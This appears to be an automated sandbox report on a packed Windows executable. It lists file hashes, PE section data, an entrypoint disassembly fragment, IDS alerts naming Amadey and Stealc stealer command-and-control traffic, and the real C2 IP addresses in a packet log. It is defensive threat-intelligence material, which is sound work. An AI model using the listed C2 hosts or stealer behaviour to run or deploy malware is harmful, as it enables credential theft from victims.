TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'777'664 bytes
MD5:	938a90b22f4bfe7c0053d9c5de5826ed
SHA1:	fca71a7e478e4aae22f2ec8b6316df5f3a528e93
SHA256:	b4c589833c910a24e87cdf8d43775f432b0b9038ba4319dc5b5518bf6dc65457
SHA512:	1276d00fb3b6a2a75e5110f51fb22ffdda388992a079b27ba24c1aebf3540f589f93125b18476c92b556ff72c2af5457bf05c0d08d43267cf02ae28eadfaf5ea
SSDEEP:	49152:j67jFetpC9mOynHdG/KbFDiv5YrIaaWk:OfYco4QgckJ
TLSH:	76853305A594E539EC632076F6FCA3A91C71640882ABC21A704356A43C5FECDECEE5F7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4348C6B02Ah
paddd mm3, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	10a99de6fb22b213cf0ac7b061e9381d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	ad14f1ae46d0e08a37826b8cd1fbebe2	False	0.79296875	data	6.009367738125972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x298000	0x200	e0ed998cc5c2665c816ce3193fc87059	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
paeyyrqu	0x4e4000	0x199000	0x198200	3838ef94992e0679c4beb1c8ad0c6aa0	False	0.9945360356049004	data	7.952597329057931	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kjakwbwf	0x67d000	0x1000	0x400	f7f14e22d010e0fbb3e51f0b80bfa48a	False	0.783203125	data	6.08369826884666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67e000	0x3000	0x2200	dd1e07cc3abdf000d9db199bc24e8a5c	False	0.06778492647058823	DOS executable (COM)	0.7819549841724186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67bfa4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T08:55:11.121289+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49926	TCP
2024-11-28T08:55:21.426117+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-28T08:55:21.893920+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-28T08:55:22.015362+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-28T08:55:22.362421+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-28T08:55:22.485166+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-28T08:55:23.849541+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-28T08:55:24.314994+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-28T08:55:47.016176+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:49.054246+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:50.517070+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:51.700364+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:55.527590+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:55:56.643916+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-28T08:56:02.612656+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49839	185.215.113.16	80	TCP
2024-11-28T08:57:06.658780+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49920	185.215.113.43	80	TCP
2024-11-28T08:57:11.170604+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49930	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 08:55:11.121289015 CET	49673	443	192.168.2.8	23.206.229.226
Nov 28, 2024 08:55:11.621299982 CET	49672	443	192.168.2.8	23.206.229.226
Nov 28, 2024 08:55:16.215060949 CET	49676	443	192.168.2.8	52.182.143.211
Nov 28, 2024 08:55:18.824371099 CET	49677	80	192.168.2.8	192.229.211.108
Nov 28, 2024 08:55:19.381907940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:19.502068043 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:19.502177954 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:19.502463102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:19.623162985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:20.730567932 CET	49673	443	192.168.2.8	23.206.229.226
Nov 28, 2024 08:55:20.942236900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:20.942416906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:20.945513010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:21.065448999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:21.230732918 CET	49672	443	192.168.2.8	23.206.229.226
Nov 28, 2024 08:55:21.426028967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:21.426116943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:21.427665949 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:21.549015999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:21.893852949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:21.893898010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:21.893919945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:21.893966913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:21.895538092 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.015362024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362241983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362272978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362283945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362421036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.362442970 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362456083 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362468958 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.362474918 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.362504005 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.362534046 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.365267038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.485166073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.831000090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.831161022 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.852283001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.852327108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:22.972632885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.972686052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.972695112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.972866058 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.972875118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:22.972980022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:23.615540981 CET	443	49704	23.206.229.226	192.168.2.8
Nov 28, 2024 08:55:23.615668058 CET	49704	443	192.168.2.8	23.206.229.226
Nov 28, 2024 08:55:23.849476099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:23.849540949 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:23.850950956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.021920919 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.314902067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.314994097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.315006971 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.315049887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.319171906 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.319262981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.319351912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.327590942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.327658892 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.327701092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.327816010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.336075068 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.336138964 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.336141109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.336190939 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.344661951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.344717026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.344718933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.344767094 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.352982044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.353003025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.353054047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.353080034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.447580099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.447637081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.447705030 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.447732925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.451805115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.451865911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.451874018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.451917887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.460220098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.460272074 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.460295916 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.460342884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.468631029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.468681097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.468744040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.468790054 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.477051973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.477104902 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.525383949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.525438070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.525479078 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.525516987 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.529611111 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.529659033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.529665947 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.529695988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.538029909 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.538077116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.538117886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.538156986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.546164036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.546216011 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.546273947 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.546370983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.554481983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.554572105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.554590940 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.554637909 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.563123941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.563153028 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.563211918 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.571526051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.571543932 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.571598053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.580434084 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.580503941 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.580631971 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.580678940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.584355116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.584425926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.584464073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.584464073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.592019081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.592135906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.592180967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.592250109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.599967003 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.600285053 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.600337982 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.606590986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.606612921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.606692076 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.606692076 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.659297943 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.659337997 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.659423113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.662535906 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.662591934 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.662632942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.662687063 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.668021917 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.668098927 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.668131113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.668162107 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.674119949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.674199104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.674210072 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.674261093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.681159973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.681267023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.681441069 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.688200951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.688363075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.688431025 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.695269108 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.695384979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.695446014 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.702353001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.702378035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.702439070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.709263086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.709367990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.709424973 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.715929031 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.717701912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.735785961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.735964060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.736047029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.737721920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.737827063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.737907887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.741637945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.741655111 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.741713047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.745464087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.745520115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.745520115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.745568991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.749250889 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.749319077 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.749373913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.749430895 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.753191948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.753305912 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.753365993 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.757091045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.757116079 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.757169962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.760890961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.761090040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.761142015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.764698029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.764862061 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.764930964 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.768598080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.768631935 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.768685102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.772320986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.772447109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.772495985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.790987968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.791083097 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.791141987 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.792882919 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.792941093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.792977095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.793035984 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.797009945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.797055006 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.797066927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.797101021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.800399065 CET	80	49705	185.215.113.206	192.168.2.8
